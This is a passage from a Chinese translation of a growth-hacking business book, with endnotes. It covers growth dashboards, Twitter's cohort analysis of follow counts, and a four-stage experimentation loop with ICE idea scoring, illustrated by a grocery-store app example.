Sense这样企业级的解决方案。不论你选择哪个工具，你的报告都应当包含有意义的洞察，而且应可以作为行动的依据。正如谷歌分析专家阿维纳什·考希克所说，太多的报告都像是在“呕吐数据”。杂乱无章地展示数据只会让人困惑，我们应该做的是清晰明确地呈现最为重要的指标数据。为此，总览图应当只包含与增长杠杆相关的最重要的指标。\n在缩小汇报范围之后，下一步就是使呈现的信息能够指导行动。首先，指标应以比例而非静态数据的形式呈现。比如，总用户数是静态的，说明不了很多问题，而每日或每周新增用户数则有用得多，因为它是当前时期和前一时期的对比，能够反映出指标的升降。数字的旁边还应当附带显示一个标志，体现与过去相比是上升、下降还是持平。这个标志可以是一个表示变化的百分比，也可以是颜色标识，以便让团队一目了然地知道某个指标的变化情况。\n图3–3 Pinterest增长总览图\n也可以在总览图中将指标数据与既定目标进行比较。例如，在英曼，团队将订阅人数增长与他们的季度目标进行对比来确定他们的目标完成进度。总览图应帮助团队成员掌握业务增长情况并根据总览图提供的信息对相关问题给出快速清晰的回答。虽然数据可视化设计是一项复杂的技能，但一位出色的数据分析师通过与增长负责人合作能够创建一系列极富洞察并可以指导行动的总览图，使团队能够跟踪核心指标的变化。\n万事俱备\n明确增长杠杆、进行深入分析和汇报并辅之以客户调查，这几项结合起来就可以解锁并优化增长机会。让我们再来看一看乔希·埃尔曼和推特的增长团队是如何发现“30个关注”这一阈值的，也就是说，关注了至少30个人的用户会成为长期活跃用户。埃尔曼首先进行了所谓的“群组分析”，即将客户或用户按照某个共同的特征划分为不同的群组。对推特来说，可以按照用户加入的月份进行基本分组。这样的选择几乎毫不费力，不过如果数据量很大且很详细，就可以创建更加细分的群组，比如每天查看推特5次但自己从不发推特的人、只在周末发推特的人、每周新关注至少10个用户的人等。\n当时，推特面临的问题是用户留存。很多人注册但又离开了，同时，留下来的那少部分人成了比较活跃的用户。于是埃尔曼和团队开始按每月访问推特的天数对用户进行分组，然后他们对同一组用户第二个月访问的天数与第一个月的天数进行比较，他们惊讶地发现，一个月访问至少7次的人中有90%~100%会留存到下一个月，这个比例非常之高。\n图3–4 基于第一个月访问次数的留存率\n之后他又将用户划分为三个群组：核心用户，即每个月至少访问7次的人；一般用户，即访问不是那么频繁的人；冷漠用户，即第一次访问之后便弃用的人。通过这一分组，团队发现20%的访客成了核心用户。于是团队进一步挖掘数据，进行了相关性分析，寻找一个群组的用户中存在哪些类似的、有别于其他群组的行为。对于每月访问至少7次的用户的分析显示，这些人一般关注的用户数在30左右，当然有一些人关注的人更多，但是30似乎是一个拐点，达到这个数字的人就会成为固定用户。\n埃尔曼和团队并没有止步于此。他们知道，统计试验中有一句箴言：相关性并不意味着因果关系。他们本可以不再深究，在那个时候就开始推动用户关注量的增长，很可能这也会带来不错的结果。但是，如果人们想要关注很多人的简单愿望并不是促使用户产生黏性的深层次原因呢？于是团队继续深挖数据，很快就找到了另一组相关关系：用户活跃程度也与他们关注的30个人里有多少人关注他们有关。但出人意料的是，并不是说“回关”的人越多，用户黏性就越大。事实上，仅仅被自己关注的1/3的用户“回关”的人最有可能成为忠实用户。为什么？要想找到这个问题的答案，用户采访的重要性就显现出来了。通过给用户致电进行采访，团队得到的反馈是，如果自己关注的人中超过1/3的人“回关”，那么推特就跟其他社交网络没有什么区别了，产品的特殊价值就无从体现。如果不到1/3的人“回关”，那么推特似乎就更像一个新闻网站，而可供选择的其他新闻网站实在是数不胜数。只有达到1/3这个比例的时候，推特所具备的独特价值——让人们及时了解他们的圈子发生的新鲜事——才能清晰地展现在用户面前。\n团队也通过采访了解到另外一个特别的用户群组的行为，这个群组就是“休眠用户”，即消失了一段时间之后又突然变得活跃的用户。团队通过给这些用户打电话了解到了真实的情况：这些人刚开始使用推特时，觉得它只是个发布信息的地方，特别是一些推广信息。他们对这些并不感兴趣，所以就弃用了。但是后来他们身边的人告诉他们自己在推特上关注了某个人，比如明星或者在他们的行业或者圈子里广受尊敬的人，这时他们才认识到推特的真正价值——网站提供了与他人建立联系并向他们学习的机会。结论很明确：关注别人的用户数和被关注的用户数是驱动增长的关键杠杆。他们利用这一发现进一步细化了向用户推荐关注账户的过程。\n推特的这个案例说明，确定增长等式和关键指标，同恰当的数据跟踪设置、数据采集和包含了客户反馈的报告一道，可以帮助团队明确并监测核心增长杠杆的变化，这是增长黑客过程走向成功的关键而有力的第一步。这时，你已经做好了展开增长攻势的准备。接下来，我们将为你分步骤具体介绍我们所总结的这一套增长过程，它包括：提出最值得测试的一组想法；以最为高效的方式开展试验；召开流程严密的增长会议；持续从试验结果中吸取经验教训并进一步巩固试验成果，以加快增长引擎的运转速度。\n利基领域，指相对小众但有盈利基础的细分市场。——编者注\nSarah Perez, “Everpix: All Your Photos, Automatically Organized and Accessible from Anywhere,” TechCrunch, September 12, 2011, techcrunch.com/2011/09/12/everpix-all-yourphotos-automatically-organized-and -accessible-from-anywhere/.\n“The Truth About Conversion Ratios for Downloadable Software,” Successful Software(blog) (n.d.), successfulsoftware.net/2009/04/23/the-truth-about-conversion-ratios-for-software.\nCasey Newton, “Out of the Picture: Why the World’s Best Photo Startup Is Going Out of Business,” The Verge, November 5, 2013, theverge.com/2013/11/5/5039216/everpix-life-anddeath-inside-the-worlds-best-photo-startup.\nAndy Johns, “Indispensable Growth Frameworks from My Years at Facebook, Twitter and Wealthfront,” First Round Review(blog) (n.d.), firstround.com/review/indispensable-growthframeworks-from-my -years-at-facebook-twitter-and-wealthfront/.\nIbid.\nIbid.\nElman, “3 Growth Hacks.”\nAlex Schultz, “Lecture 6: Growth,” How to Start a Startup(blog), startupclass.samaltman.com/courses/lec06/.\nPalihapitiya, “Facebook on the Path to 1 Billion Users.”\nJordan Crook and Anna Escher, “A Brief History of Airbnb,” slideshow at TechCrunch(n.d.), techcrunch.com/gallery/a-brief-history-of-Airbnb/; “How Design Thinking Transformed Airbnb from a Failing Startup to a Billion Dollar Business,” First Round Review(n.d.), firstround.com/review/How-design-thinking-transformed-Airbnb-from-failing-startup-to-billion-dollarbusiness/.\nAustin Carr, “19: Airbnb,” Fast Company’s Most Innovative Companies 2012, February 7,2012, fastcompany.com/3017358/most-innovative-companies-2012/19Airbnb.\nSchultz, “Lecture 6: Growth.”\nJack Dorsey,“Instrument Everything,” eCorner (Stanford University), February 9, 2011,ecorner.stanford.edu/videos/2643/Instrument-Everything.\nAlex Schultz and Naomi Gleit, Facebook F8, “Ready to Grow” Breakout Session,April 21, 2010, original.livestream.com/f8industry/video?clipId=pla_a093cf1f-2d34-4e74-83779e54bc65d8e9.\nRob Sobers, “$9 Marketing Stack: A Step-by-Step Guide,” Rob Sobers blog (n.d.),robsobers.com/9-dollar-marketing-stack-step-by-step-setup -guide/.\nWillix Halim, “Create a Full Company Growth Culture,” GrowthHackers Conference,February 18, 2016, https://growthhackers.com/videos/ gh-conference-16-william-halim-svpgrowth-freelancer-create-a-full -company-growth-culture.\nAvinash Kaushik, “The Difference Between Web Reporting and Web Analysis,” Occam’sRazor(Avinash Kaushik’s blog) (n.d.), kaushik.net/avinash/difference-web-reporting-webanalysis/.\nJohn Egan,“The 27 Metrics in Pinterest’s Internal Growth Dashboard,” John Egan blog,January 22, 2015, jwegan.com/growth-hacking/27-metrics-pinterests-internal-growth-dashboard/.\nJosh Elman, “3 Growth Hacks,” https://www.youtube.com/watch?v=AaMqCWOfA1o.\n第四章\n 快节奏试验\n2007年，美国得克萨斯州贝勒大学橄榄球队又一次在“大十二联盟”南部分区橄榄球联赛中排名垫底。这支球队已经超过10年无缘碗赛了。这时阿特·布莱尔斯接管了教练工作。很快，贝勒大学熊队在联赛中平均每场得分就升至64分，并且每年都入选碗赛，成为全美排名最靠前的球队之一。实现这一转变的关键就是快节奏的“无聚首进攻”，这个战术令对手猝不及防、乱了阵脚。一个体育记者将贝勒队的这一打法称为“势不可当的战术”。贝勒队的进攻速度不仅大大挤压了对手的空间，也使队员在每一场球赛中学习到更多取胜的办法。\n通过加快每一次进攻的速度并缩短两次进攻的间隔，贝勒队每场比赛的进攻次数比对手多出13次，比大学球队平均每场比赛的进攻次数高出20%。按照每赛季10场比赛计算，这13次累加起来相当于球队多打了整整两场比赛。这就为球队创造了更多的学习机会，丰富了球队的实战经验，使他们懂得在不同情况下应如何实现最好的团队协作。\n通过快速学习学到更多也是快节奏增长黑客过程的目标和一大优点。\n增长最快的公司正是那些学习最快的公司。开展的试验越多，学习到的东西也就越多。道理就是这么简单。团队应该开展大量的试验，因为大多数试验都不会产生你想要的结果。有的试验会产生一些成功的迹象但是无法得出绝对的结论，这样的试验结果不足以证明可以在更大范围实施被测试的方法。有的试验会取得小幅的成功，但并不会带来实质性的变化。只有少之又少的试验会带来巨大的成功。也就是说，寻求试验的成功是一个以量取胜的游戏，每一次成功不论大小都很重要。\n请记住，增长黑客的巨大成功往往来自一连串小成功的累加。一点一滴的认知学习都会带来更好的表现，催生出更好的试验想法，进而带来更多成功，最终将一次次小幅的改善转化为压倒性的竞争优势。\n转化率优化专家佩普·拉哈在帮助网站或App将更多访客转化为客户方面享有很高的声誉，他在说明小成功的威力时喜欢提到一组数据：每个月5%的转化率改进会带来全年80%的提升，这就是成果自然累加的特点。如果你是通过搜索广告获取新访客，那么如此高的转化率提升几乎可以使你的广告成本减半。这一原则适用于公司业务的各个领域。事实上，留存率的小幅提升能够带来更大的影响。来自贝恩公司（Bain&Company）和哈佛商学院的一群研究者发现，5%的留存率提升会带来25%~95%的利润增加，因为留存率的小幅提升会因为客户使用时间延长而带来累加的收入增长。\n我们将在本章讨论如何开展快节奏试验以获得这种累加的成功。\n缓慢起步，逐渐提速\n增长团队的试验量和试验节奏因公司规模和可用资源的多少而各不相同。很多领先的增长团队通常每周会做20~30次试验，还有一些团队的试验量更大。初创公司可能每周只能启动一到两次试验，然后逐渐累积到更高的试验量，而较成熟的创业公司或者大型企业每周可以启动的试验量则大得多。无论企业或团队规模如何，为使试验量最大化、结果最优化，必须遵循一个非常严格的试验过程，使团队能够形成充足的试验想法储备并高效地排定试验优先顺序。这能够保证团队以最快的速度持续开展试验，避免执行松散、试验结果无效或者在选择下一次的试验想法时陷入耗时的头脑风暴和讨论过程中。\n我们的建议是，团队应缓慢起步，在这一新的试验过程站稳脚跟之后再逐渐提速。一开始便试图启动太多试验可能会导致试验执行欠佳，使团队成员感到困惑，或因为试验结果不理想而使士气受挫。开展漫无目的或设计不当的试验可能得不偿失。就像你不应该在没有进行足够的训练和热身的情况下参加铁人三项赛一样，你同样不应该以太快的速度一头扎进增长黑客过程中去，这样做的结果必然是失败。\n我们摸索出一个分四步进行的增长循环以及一系列简单易用但又十分有效的工具，以确保增长团队像一台精心设计、精确校准、高速运转的试验机器。我们将在这一章详细介绍这一套方法。\n增长黑客循环\n之前提到，这一过程分为以下几个阶段：分析数据并收集洞察，形成试验想法，排定试验优先级，运行试验，再回到分析阶段审视试验结果并决定下一步行动。这是一个周而复始的循环。无论你的产品是什么，无论你测试的是产品的哪个方面，这一循环中每一个步骤的完成都应当保持固定的节奏，以每一两周完成一次循环为佳（在GrowthHackers我们以每周为一次循环周期）。增长团队每周应召开一次一小时左右的会议，审视试验结果并决定下一周要执行的试验。\n图4–1 增长黑客循环\n为从头到尾说明这一过程如何运作，我们不妨设想一个情景：一家大型实体连锁食品商店刚刚成立了一个增长团队。我们希望首先明确一点，这个过程适用于任何团队或企业，不论规模大小。它也适用于任何产品或项目，不论是一个新的软件工具、一家网络零售商、一个媒体产品、一家硬件公司还是一个博客，或是一次广告或公关行动。我们将描述这个团队的每一个成员在这一过程的每一个阶段应做的工作，我们也会提供一个日程样板，详细说明增长会议应如何进行。\n准备工作\n在进入增长黑客循环之前，这家连锁食品商店应召开一次团队启动会议，向每一个团队成员说明如何推进这个过程。在会议上，增长负责人应明确说明每一个成员应发挥的作用，以及他们作为个体和团队应如何开展工作。同时应向他们介绍提出测试想法并排定测试优先级的方法，我们将在本章后半部分介绍这一方法。之后，增长负责人应当请数据分析师分享前期分析结果。同时，增长负责人应向团队说明关键增长杠杆、北极星指标以及关注点或目标。然后，团队应设定每周要开展的试验数量和节奏，即每周能够有效地管理并执行多少试验。一般来说，数据分析师和工程师都能够对此进行初步估算，而随着试验过程的开展，团队自然而然地也会做出相应的调整。\n假设这一连锁食品商店的增长团队被安排负责公司新的移动App的销量增长任务。这个App于几个月前发布，当时公司开展了大规模的传统营销攻势，吸引了一批早期用户，下载量达到了10万。但是迄今为止，应用内购买创造的收入仍然非常低。于是公司决定不再大规模开展新的获客攻势，而是尝试一下增长黑客法。\n产品团队将App打造得十分出色。他们也进行了恰当的数据跟踪设置，以便在用户使用App时获得最有用的用户行为反馈。他们也在开发阶段与潜在用户一起对App进行测试，用户的反馈非常好。App提供了很多十分有吸引力的功能，比如商品搜索、商品推荐、库存情况、健康食谱以及一键购买食材的选项。此外，App里还有一个卡路里计算器，可以让用户迅速了解任何商品和整餐的卡路里含量。产品团队还考虑到用户很可能会喜欢“不含麸质”“犹太洁食”和“有机”等搜索选项，从而对产品进行了相应的设计。总之，整个应用的设计非常巧妙，但结果却销量平平，这十分令人不解。\n为解开这一谜题，公司聘请了一位资深增长团队领袖。他做的第一件事就是从市场、工程、产品和数据科学部门招募团队成员。接下来，团队需要寻找App用户的“啊哈时刻”，了解体验了“啊哈时刻”的用户有哪些特征以及他们对于App的使用与其他用户有何不同。假设团队的初步研究表明，用户的“啊哈体验”是在手机上购买食品并且在家里等着第二天送货上门所带来的便利。在准备第一次增长团队会议之前，增长负责人和市场、数据团队成员一起制定了App的增长等式，等式如下：\n安装量×月活跃用户数×消费用户数×平均订单金额×重复购买率=增长量\n他们选择的北极星指标是每个消费用户创造的月收入，这是因为他们的最终目标是促进销量。他们不只是需要使更多人使用App，也要打造一大群高度活跃的消费用户，使这些用户可以经常进行高额消费。确定了“啊哈时刻”，设置了数据追踪，明确了核心指标，搭建了增长团队，在一切都准备就绪之后，就可以启动快节奏增长黑客过程了。\n你无须在第一次增长会议上就决定要进行哪些测试。团队成员可以利用接下来一周的时间进行头脑风暴，筛选第一轮周期要测试的想法，然后在下一周的增长会议上对这些想法展开讨论并做出决定。我们将以这个食品商店App为例，在本章详细介绍团队会提出哪些想法以及测试流程如何具体开展。\n第一阶段：分析\n在这一阶段，增长负责人要和数据分析师一起深入分析初期用户数据以发现具有明显特征的用户群体。首先，要将经常性的消费用户和其他几乎不使用或下载后从未使用的用户分离开来。为探索潜在增长机会，他们制定了下列问题来指导分析过程：\n我们的最佳客户有哪些行为：\n• 他们使用了哪些功能？\n• 他们访问了App的哪几屏？\n• 他们打开App的频率如何？\n• 他们购买了哪些商品？\n• 他们的平均订单金额是多少？\n• 他们在一天中的什么时间下单？通常在哪些日子下单？\n我们的最佳客户有哪些特征：\n• 他们是从什么渠道转化为我们的客户的？是广告、推广邮件还是其他渠道？\n• 他们使用什么设备？\n• 他们具有哪些人口学特征，如年龄、收入等？\n• 他们居住在哪些地区？\n• 他们距离最近的本品牌商店或其他商店有多远？\n• 他们还使用其他哪些类似的App？\n导致用户弃用App的原因：\n• 哪些屏的退出率最高？\n• App存在哪些阻碍用户采取某一行动的程序错误？\n• 与其他提供商相比本应用中的商品价格如何？\n• 消费用户的行为中有哪些是弃用用户没有的？\n• 他们从开始到弃用App的过程是怎样的？在弃用之前他们在App中花费了多少时间？\n在数据分析师研究数据的同时，团队的营销专家则开展了一系列用户调查和采访。其中一项调查的目的是获取用户的人口学和心理学信息，另一项调查询问了用户线上和线下的购物习惯，而最后一项调查则是关于用户最喜爱的App以及他们的移动设备的使用情况。\n之后，数据分析师和营销专员将所有数据分析结果和用户调查与采访反馈汇总，编写成报告并在第一次增长会议的前一周发送给团队成员。筹备这场会议时，增长负责人撰写了一份总结，说明截至目前的研究结果，其中就包括经常性消费用户区别于从未消费或只进行过一两次购买的用户的几个十分有趣的共同特征。\n第一个特征是这些活跃消费用户的平均订单金额高于50美元，刚刚超过免运送费的最低金额。除此之外，很多经常性消费用户都有很多会重复购买的食品，这些食品显然对他们来说是必需的。最后，最为活跃的消费用户中相当大的一部分是从商店的移动网站跳转到App中的。\n基于数据分析，团队已经提出了一些增长想法，并为第一次会议做好了准备。他们将在这次会议中讨论了调研发现，评估初步的增长想法以充分利用这些发现，选出第一批旨在提高App用户所创造的收入的想法，并规划初步的试验流程。\n第二阶段：提出想法\n“点子”是增长的催化剂。你需要一系列的增长点子以形成稳定的增长动力。正如莱纳斯·鲍林所言，“形成一个好想法的最佳办法是提出很多想法”。正因如此，能够不加限制地提出想法对于增长黑客过程尤为关键。这并不意味着要不加限制地测试这些想法。测试应当是经过严格的优先级排定的。但是你需要鼓励增长团队成员充分发挥想象力并且对想法毫无保留。这能够保证团队形成足够多的想法，以便从中筛选最具价值的那些。\n在团队会议之后的前四天，所有成员都应当提交尽可能多的可能提高App用户创收的增长想法。提出想法时不应自我质疑，没有什么想法是过于疯狂而不该提的。团队成员应当根据自己的特定领域和专长献计献策。例如，用户体验设计师可能会建议对某个屏的显示进行一些修改，营销人员可能会提议测试鼓励用户首次下单的不同方法，而工程师则可能会提出优化产品性能和速度的一些想法。当然，他们提出的想法也不应仅限于自己的领域。\n增长负责人应当建立一个项目管理系统，用于协调想法的提交和管理以及测试结果的跟踪和报告。请记住，跨职能合作和信息共享是增长黑客法的关键原则。正因如此，增长团队里的每一个人都应当有权限使用这一想法储备库，并且随时都可以往其中添加新内容。在GrowthHackers，我们创建了自己的软件程序，叫作“Projects”，任何有权限使用它的人都可以在软件中提交想法并对试验过程及结果进行跟踪、评论和查阅。对于团队使用的项目管理软件没有数量要求，这些软件都可以用来促进试验管理及成员就试验策略进行沟通。\n想法应当按照一个事先制定的模板提交到“储备库”中。团队应规范想法提交的格式，因为只有这样团队才能迅速地对想法进行评估，而不需要问很多问题。提交的想法不应该只是提出像“我们的注册表太复杂了，应该简化一下”这样模糊的建议，而是必须清楚地说明应该做出什么具体的改变，并阐述为什么这一做法可能带来结果的改进，同时也要说明如何衡量测试结果。\n为说明想法提出的正确格式，让我们再回到食品连锁商店移动App的案例中。在第一次和第二次增长会议之间的那一周，团队成员可以针对促进用户消费的几个方法中的任何一个提出自己的想法。有的想法可能旨在吸引那些下载了App但还未购买的人下第一笔订单。有的可能针对已经购买过的用户，要么是吸引他们更频繁地消费，要么是增加他们的单笔订单金额。还有的想法可能是为了吸引更多用户从公司网站转到App，因为数据显示，从网站跳转过来的用户往往创造的价值更高。\n假设App团队的产品经理提出了打造“购物清单”功能的想法，这个列表可以保存用户之前购买的商品，从而使用户可以轻松地再次购买。那么这个想法应按照下面这个格式提交：\n想法名称：我们发现，给每个想法起一个简短的名称可以使讨论更容易也更高效。在GrowthHackers，为保证名称简洁明了，我们设定了不能超过50个字的限制。对于这个例子，我们不妨给它起名叫“购物清单”。\n想法描述：想法描述看起来应当像执行大纲那样清晰明了，说明“谁”“什么”“何处”“何时”“为什么”和“如何”等问题。这个想法针对“谁”？例如，是所有的访客、新用户、复活用户还是从某个流量源获得的用户？要创造“什么”？是一份新的营销文案还是一个新功能？这个新文案或是新功能将在“何处”执行？是在App的主屏还是其他地方？它将在“何时”出现在用户屏幕上？比如访客初次访问网站着陆页的时间。除此之外，描述还必须说明“为什么”，即想法背后的论证过程。也要说明“如何”，即建议开展的测试类型，比如是A/B测试，还是要开发新功能，或是要展开新的广告攻势。\n对于这个购物清单，产品经理可能会这样描述：\n使用户轻松地查看并再次订购之前购买的商品将增加重复购买的人数，也会提高他们下单的速度。更便捷的再次购买操作应该能够刺激更多用户回购。购物清单功能应当添加到App的导航项中，使所有用户都能够使用，方便用户保存并回购他们喜爱的商品。这一功能应该先在早期用户中进行测试，再提供给所有用户使用。\n假设：像任何其他类型的试验一样，“假设”应当简要说明预期的因果关系。同样，对于假设不能只是给出模糊的原因和结果，像“重复购买的用户不够多，我们应该激励用户回购”这样的话只是对问题和努力方向的一句陈述，而假设应该是：“通过给用户提供便捷查询并回购商品的功能，回购用户人数将提高20%。”\n有些团队可能会选择在假设中说明预期成果，有些则可能不会。这么做的好处是能够使团队清楚地了解一个想法可能带来的量化结果。如果预期会有40%的收获但结果只有5%，他们就会知道还有很多工作要做。但另一方面，对试验结果的预测不可能精确，所以很多团队不会进行预测。在GrowthHackers，我们根据过去类似的试验、网上可获得的基准数据、试验参与人数和试验对他们当前行为可能产生的影响来估算预期结果。\n待测指标：必须具体说明为评估测试结果需要追踪哪些指标。大多数试验都应当统计不止一个指标，因为一个指标的改善有时候是通过牺牲其他指标来实现的。比如你在测试着陆页的一份新的注册表格时，可能会发现因为注册变得更加方便，所以注册人数增加了，但是新注册用户的活跃度却比以前有所降低，因为他们并不十分清楚他们注册的是什么。最终，这可能成为实现增长的严重障碍。\n确定要追踪的指标，首先要看一看试验会使哪些“下游”指标发生变化。例如，对于购物清单试验来说，应追踪的指标包括使用购物清单功能的用户数、每个清单保存的商品数、回购数、回购比例以及平均每笔订单的金额。这些指标有助于增长团队评估试验结果及试验对重要指标的影响。统计的范围包括有多少人使用了新功能以及新功能对于他们购买行为的影响，这将帮助团队确定试验是否提升了核心指标，即每位消费用户创造的收入，以及试验假设是否成立，即使用这一功能的App用户回购比例是否提高。\n请注意，储备库中的点子越多，找到能够刺激增长的绝佳方法的可能性就越大。在增长黑客循环的下一阶段，你需要对大量的想法进行筛选并排定优先级，即哪些先测试，哪些晚一些测试，哪些直接抛弃。\n最后，由于我们的目标是形成尽可能多的想法，因此不仅需要团队成员提出想法，也需要整个公司的同事都参与进来。销售团队可能对客户痛点有宝贵的见解，市场团队则可能了解到一个可以用于开展获客试验的新的推广平台。在开展增长攻势的初期，你应当主要从公司内部收集来自不同部门的想法，而随着时间的推移，你也应考虑在第三方供应商和合作伙伴中集思广益。外部人士往往能够提出非常宝贵的建议，帮助团队打破思维惯性的束缚。比如，有的顾问可能有和同类型公司合作的经验，他们往往了解其他公司有哪些极为成功的做法。邀请客户特别是最为活跃的用户分享他们的观点也可能给你带来很大的启发。他们往往非常乐意提供他们的见解，而且他们对于产品使用的经验可能比你的团队丰富得多。\n在GrowthHackers，我们一开始只在增长团队内部收集想法，但是很快发现团队总在做类似的试验。于是我们去询问其他部门同事的意见。起初，我们犯了个错误，没有告诉他们增长杠杆和核心指标是什么，这导致我们收到了很多模糊的回复，比如“你们需要我帮什么忙？”或者“如果我想到什么好点子就联系你们”。但是后来，我们告诉了他们我们的关注点，一时间各种建议便如潮水般涌来。这带来了非常积极的结果，于是我们进一步将收集想法的范围扩大到投资人和咨询顾问，最后又扩大到增长黑客社区里我们十分信任的会员。\n一开始，我们通过邮件接收建议，然后再按照正确的格式进行编辑，添加到储备库中。在开发了“Projects”软件之后，我们就给所有收到我们邀约的人开放了权限，让他们直接登录软件提交想法。\n事实上，团队测试过的一些最好的点子都是来自公司以外的人士。例如，我们最为活跃的社区会员之一建议我们在网站上设立与知名增长专家对话的问答栏目，这后来成了我们访问量和用户参与增长的重要引擎。再比如，我们的一位顾问跟我们分享了在他的网站上一些效果十分显著的SEO策略，我们采纳了之后发现这些策略极大地提升了我们在谷歌上的排名。而这只是我们从团队外部收集的许多绝佳创意中的两个。\n在提交想法之前的最后一个步骤是给想法打分，这可以帮助团队在第三阶段比较不同的试验想法并排定优先顺序。我们将在第三阶段介绍这个评分体系，并说明如何利用它给想法评分并做出选择。\n第三阶段：排定优先级\n在一个想法提交到团队讨论之前，必须要给它打分。打分能够帮助团队在不同的想法之间进行比较，以确定在什么时间开展哪一项试验。分数应该由提交想法的人给出，在评分之后这一想法才能进入储备库。\n在GrowthHackers，肖恩制定了“ICE评分体系”以整理第二阶段形成的各种想法，ICE三个字母分别代表impact（影响力）、confidence（信心）和ease（简易性）。\n在提交想法时，提交者应以10分为满分给想法打分，打分根据以下三个标准：想法的潜在影响力、提交者对于想法取得效果的信心以及相应试验开展的简易程度。三项分别打分之后，再相加平均便得到一个想法的综合得分。对储备库里所有的想法进行评分之后，团队就可以根据得分排序，在核心关注领域选择得分最高的想法开始试验。例如，如果增长团队目前关注的是提高客户留存率，那么即使在获客方面的一个想法分数非常高，团队也会将之搁置一边，选择分数稍低一些的关于客户留存的想法。\n下面我们以食品连锁商店App为例对其团队提出的想法进行了排序。排序可以在表格或者项目管理软件中进行。如表4–1所示，通过评分，可以清楚地看到哪两个想法是应该最先测试的。当然，综合得分并不一定最终决定想法的优先顺序，团队可能会在增长会议上讨论之后出于某些原因选择分数略低的一个想法。但是，评分是一个很好的起点。\n表4–1 食品连锁商店想法评分表\n给自己的想法打分不是一件容易的事，因为打分涉及一定的主观性和预测性。但是有了经验之后，你很快就会掌握如何利用数据、之前的试验结果以及行业基准来估算自己想法的价值。此外，随着你看到越来越多的想法被测试并看到这些测试的结果，你对于某个想法的潜在回报的把握也会越来越准确。不过还是有必要先了解一下这三个标准的具体含义及如何对它们进行评估。接下来就详细介绍一下这三个标准。\n影响力：影响力是指某个想法对于促进团队关注的指标的预期提升程度。在食品商店App的案例中，这一指标是每位用户创造的收入。你可能认为只有具有很高影响力的想法才值得提交，但是要记住，团队应同时选择具有潜在高影响力、通常实施起来也更复杂的试验和一些更容易实施但同时也可能产生有意义的结果的试验。团队的目标是筛选尽可能多的高影响力试验，但如果有的试验需要几周甚至更长的时间筹备，那么就应该选择一些相对来说更容易实施的试验填补这段空档，这也是为什么测试的简易性也是ICE评分的标准之一。\n信心：这个标准衡量的是想法提出者对于想法产生预期影响的信心。对于这个标准的评分不应基于主观臆测，而是要根据某种实证经验，不管是数据分析、行业基准、可查阅的案例研究，还是之前的试验经验。\n如果试验是之前的一次成功试验的迭代，那么信心评分应当更高。这是一个不错的做法，增长黑客界通常称之为“双倍下注”（doubling down）。比如一项试验的内容是通过脸谱网上提供免费样品的广告吸引用户跳转到着陆页填写邮箱资料，这个做法为公司提供了很多新的潜在客户的邮箱地址。下一次你可能会尝试通过谷歌等其他渠道推广同一个着陆页。第一次试验时，因为你以为填写注册表可能会使很多人放弃申领样品，所以对于试验的信心值比较低，只打了4分。但是做下一次试验时，由于第一次试验的成功，你可能将信心值提高到8分。信心值很高也可能是因为了解到公司内或公司外的其他团队做过类似的成功试验。\n简易性：简易性衡量的是进行一项试验所需投入的时间和资源。重新进行界面设计或是改进结账环节购物车的样式都是具有潜在高影响力的想法，但是这样的想法往往不容易落实，可能需要几周甚至几个月的准备时间。简易性得分不仅可以帮助增长团队认清一些不太现实的想法，也可以帮助他们在每一轮增长循环中发现一些“唾手可得”的试验。\n在召开团队会议之前，增长负责人应查看各个想法的初始得分，他可能会发现想法提交者没有想到的一些问题。增长负责人可以基于他的过往经验以及其他团队成员的意见给出分数调整建议。但是，团队不应过分纠结分数调整。这个分数只是用来进行优先级的比较，不需要尽善尽美。如果团队成员浪费太多时间争论一项试验的影响力得分，那么增长会议很快就会陷入僵局。团队应把这一分数作为一个重要参考，而不是当作优先级排定的唯一依据。如果团队对于某个分数存疑，增长负责人应依据自己的最佳判断果断做出决定，以引导团队推进工作。\n这一评分体系并非万无一失，测试结果也经常与预期不符。有些评分最低的试验结果反而产生了最好的效果。在GrowthHackers，我们曾做过一个简单试验，调整了网页上每周“最佳帖子”简报邮箱登记表的位置。这个登记表原本是在网站主页的底部，因为我们原以为需要给用户时间先浏览我们在首页上主推的最受欢迎的帖子，然后再决定是否登记邮箱地址以接收我们的每周简报。后来摩根提出了一个建议，即把登记邀请改到页面顶端，把它放在一个更显眼的位置。事实上，他本来并不认为这个调整能带来多大的变化，所以只打了4分。但是我们还是决定测试一下这个想法，这是因为基于工程师团队的反馈，这个试验比较容易开展，我们在简易性一栏给它打了9分。同时摩根有比较大的把握这个调整将能够使用户更容易看到登记邀请从而会在一定程度上增加登记量，于是在信心一栏打了8分。结果非常令人惊讶——登记量增加了7倍，远远超出了我们原本的预期。\n讲述这个例子并不是要说明摩根能提出这个点子有多厉害，其实他也提过不少以失败而告终的点子。提出这个案例是为了说明我们对于自己想法的预期并不总是很准确，同时也说明不要轻易抛弃分数较低的想法。\n虽然我们倾向于使用ICE评分，但是其他增长黑客也提出了其他评分体系。比如被誉为“转化率优化之父”的布莱恩·埃森伯格就提出了“TIR体系”，即time（时间）、impact（影响力）和resources（资源）。另外一个体系是“PIE”，即potential（潜力）、importance（重要性）和ease（简易性）。虽然不同的体系细节上可能存在差异，但是它们的总目标是一致的，即以量化的方式评估试验想法，帮助团队筛选不同试验选择、决定下一个试验内容。\n经过评分缩小了选择范围之后，你手里的试验可能仍然超出了接下来一周所能完成的量。有些想法需要更长时间去准备，比如那些需要大量软件开发或设计工作的试验。对于这样的试验应当在咨询试验筹备直接参与人员之后设定一个具体的测试日期。如果筹备工作涉及软件开发，工程师和产品经理就应当为增长团队估算一个时间框架，而如果要测试一个新的获客渠道，市场团队就要负责为增长团队提供一个时间表做参考。\n在当周无法启动的试验想法都应储存在储备库中。你可以从中选择一些用于接下来一周的试验，而保留其他想法日后使用。关键是团队应以时间和资源利用的最优化为目标安排他们的工作，专注于增长负责人选定的关注领域中最紧迫的需求。\n让我们再回到食品商店App的案例中来看一看如何开展筛选过程。App团队的目标是增加每个用户创造的收入。在收集了一些点子之后，他们决定选择“初次下单优惠”和“把免运费政策信息放在更明显的位置”这两个影响力和简易性评分较高的想法进行测试（见表4–1）。\n初次下单优惠试验很可能会交由营销人员负责，而免运费试验则交由产品设计师负责。\n假设团队同时决定购物清单试验也值得一试，但由于这一功能的开发比较复杂，增长负责人可能会让产品经理询问产品团队的时间安排。获得了这一信息之后，增长团队就可以考虑设定试验启动时间了。\n我们建议团队通过协作来进行试验选择。在增长会议召开前一天，增长负责人应通知团队查看想法储备库并从中选择他们认为最有潜力的想法（不一定只是新提交的想法，可能也包括已经在库里的想法）。这些想法将作为候选在增长会议上讨论，届时团队将共同决定在什么时间启动哪些试验。团队成员可以通过邮件对想法进行提名，或者如